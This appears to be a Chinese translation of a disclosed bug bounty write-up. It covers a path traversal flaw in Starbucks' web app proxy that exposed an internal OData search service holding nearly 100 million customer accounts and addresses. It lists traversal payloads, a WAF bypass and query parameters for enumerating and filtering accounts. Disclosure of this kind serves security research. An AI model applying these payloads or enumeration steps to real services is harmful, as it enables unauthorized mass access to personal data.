本文所述漏洞均已修复,未经授权请勿进行非法渗透测试。
在Verizon Media的漏洞赏金项目上尝试了一整天却一无所获后,我决定放弃继续挖掘漏洞,转而处理一些琐事。我需要为朋友的生日买些礼物,于是上网准备购买一张星巴克的礼品卡。
在星巴克官网购买过程中,我注意到有很多API请求看起来非常可疑。其中一些请求是以/bff/proxy/
开头的API调用,而返回的数据似乎来自另一个主机。
考虑到星巴克拥有漏洞赏金计划,加上那天进展不顺,我决定深入研究一下这些API。
以下是一个返回了用户信息的API:
POST /bff/proxy/orchestra/get-user HTTP/1.1
Host: app.starbucks.com
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
}
其中的“bff”实际上是“Backend for Frontend”(前端后端架构)的缩写,意味着用户操作的前端应用会将请求转发到另一个后端主机,由后端完成实际的业务逻辑或功能处理。以下是一张极其简化的示意图,展示了这种架构的大致样貌:
在上面的例子中,app.starbucks.com
这个主机本身并不直接访问对应接口的逻辑或数据,而只是作为代理或中间层,将请求转发给一个假设存在的内部主机,例如internal.starbucks.com
。
这里有几个值得思考的问题:
-
我们该如何测试这个应用的路由逻辑?
-
如果应用确实将请求路由到了内部主机,它的权限模型是什么样的?
-
我们是否可以控制发送到内部主机的路径或参数?
-
内部主机是否存在开放重定向漏洞?如果有,应用是否会跟随该重定向?
-
返回的内容是否必须符合特定的格式(例如是否必须是JSON、XML或其他特定数据类型)?
我首先尝试的方式是进行路径遍历,以加载其他路径资源。以下是我的一些payload:
/bff/proxy/orchestra/get-user/..%2f
/bff/proxy/orchestra/get-user/..;/
/bff/proxy/orchestra/get-user/../
/bff/proxy/orchestra/get-user/..%00/
/bff/proxy/orchestra/get-user/..%0d/
/bff/proxy/orchestra/get-user/..%5c
/bff/proxy/orchestra/get-user/..
/bff/proxy/orchestra/get-user/..%ff/
/bff/proxy/orchestra/get-user/%2e%2e%2f
/bff/proxy/orchestra/get-user/.%2e/
/bff/proxy/orchestra/get-user/%3f (?)
/bff/proxy/orchestra/get-user/%26 (&)
/bff/proxy/orchestra/get-user/%23 (#)
可惜的是,这些尝试全都失败了,返回的都是标准的 404 页面。
/bff/proxy/orchestra/get-user
就像是一个预先定义好的接口,这个接口不支持用户通过路径参数来传递额外信息(不接受动态路径参数)。
但类似 /bff/proxy/users/:id 的这种
接口允许我们构造并测试不同的输入参数,从而更容易找到可以尝试路径遍历或其他操作的点。
我在应用中继续查找了一会,终于找到了几个新的 API 接口:
GET /bff/proxy/stream/v1/me/streamItems/:streamItemId HTTP/1.1
Host: app.starbucks.com
这个接口与之前的
get-user
接口不同,它的最后一段路径是一个参数,我们可以向其中注入任意值。如果该参数在内部系统中被当作路径处理,我们就有可能通过路径遍历访问其他内部接口。
幸运的是,我的第一次测试就返回了一个非常明确的正面信号,说明路径遍历是可行的:
GET /bff/proxy/stream/v1/users/me/streamItems/.. HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
这个 JSON 响应与 /bff/proxy
下其他正常 API 调用返回的响应格式完全一致。这表明我们确实访问到了内部系统,并且成功修改了实际请求的路径。下一步就是尝试“映射”这个内部系统,最有效的方法就是一路向上遍历路径,直到找出第一个返回 “400 Bad Request” 的路径,从而定位到内部 API 的根目录。
我很快遇到了一个WAF,不允许我进行超过两级的目录回溯:
GET /bff/proxy/stream/v1/users/me/streamItems/.... HTTP/1.1
Host: app.starbucks.com
HTTP/1.1 403 Forbidden
幸运的是,大多数WAF的绕过手段其实都很简单:
GET /bff/proxy/stream/v1/me/streamItems/web..... HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
最终,在连续回溯了 7 层路径后,我收到了如下错误提示:
GET /bff/proxy/stream/v1/me/streamItems/web.................... HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Bad Request",
"errorCode": 400,
...
这意味着,内部API的根路径大约位于回溯6层的位置。接下来我们可以使用目录爆破工具,或者直接使用 Burp Suite 的 Intruder 模块配合字典,来进行目录结构的枚举。
这时,我联系了 Justin Gardner 一起研究这个问题,因为我对这个内部系统的功能非常感兴趣。
他几乎立刻就通过使用 Burp Suite 的 Intruder 模块,观察对内部系统根路径下若干接口发起请求(注意:这些请求末尾不带斜杠)时,会返回重定向状态码,从而识别出多个有效路径。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................search
Host: app.starbucks.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Content-Type: text/html
Content-Length: 162
Location: /search/
当 Justin 继续寻找所有可用的端点时,我则专注于逐个目录地手动分析。在运行了一些扫描之后,我确认 search
目录下存在一个 v1
子路径,而在 v1
之下则包含了 Accounts
和 Addresses
两个子目录。
我当时还半开玩笑地发消息给 Justin,说如果 /search/v1/accounts
这个端点真的可以搜索所有正式环境下的账户,那可就太搞笑了……
结果,它真的就是这样。
/search/v1/accounts
实际上是一个 Microsoft Graph 实例,具备访问所有星巴克账户数据的权限。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Accounts HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 1,
"ExternalId": "12345",
"UserName": "UserName",
"FirstName": "FirstName",
"LastName": "LastName",
"EmailAddress": "[email protected]",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "1900-01-01T00:00:00Z",
"RegistrationSource": "iOSApp",
"LastUpdated": "2017-06-01T15:32:56.4925207Z"
},
...
lots of production accounts
Addresses
端点返回的内容也大同小异……GET /bff/proxy/stream/v1/users/me/streamItems/web..................searchv1Addresses HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
"value": [
{
"Id": 1,
"AccountId": 1,
"AddressType": "3",
"AddressLine1": null,
"AddressLine2": null,
"AddressLine3": null,
"City": null,
"PostalCode": null,
"Country": null,
"CountrySubdivision": null,
"FirstName": null,
"LastName": null,
"PhoneNumber": null
},
...
lots of production addresses
这是一个看似用于生产环境账户和地址管理的服务。我们开始进一步利用 Microsoft Graph 的功能,对该服务进行深入探索,以验证我们的猜测。
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$count=true
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"@odata.count":99356059
}
通过在 Microsoft Graph 的 URL 中添加 $count
参数,我们可以确定该服务中几乎有1亿条记录。攻击者可以通过结合使用 $skip
和 $count
参数,枚举并窃取所有用户账户的数据。
此外,攻击者还可以利用 $filter
参数来精确定位特定的用户账户,具体示例如下:
GET /bff/proxy/stream/v1/users/me/streamItems/web..................Searchv1Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 81763022,
"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
"UserName": "[email protected]",
"FirstName": "Justin",
"LastName": "Gardner",
"EmailAddress": "[email protected]",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "2018-05-19T18:52:15.0763564Z",
"RegistrationSource": "Android",
"LastUpdated": "2020-05-16T23:28:39.3426069Z"
}
]
}
鉴于问题的敏感性,我们立即进行了漏洞报告。
我们当前的概念验证已经证明,能够访问近1亿星巴克客户的姓名、邮箱、电话号码和地址等个人信息。
星巴克团队对该问题反应迅速,当天就修复了漏洞。
时间线
-
漏洞报告时间:2020年5月16日
-
漏洞修复时间:2020年5月17日
-
奖金发放时间:2020年5月19日(4000美元)
-
漏洞公开时间:2020年6月16日
原文始发于微信公众号(玲珑安全):入侵星巴克并获取近1亿客户记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论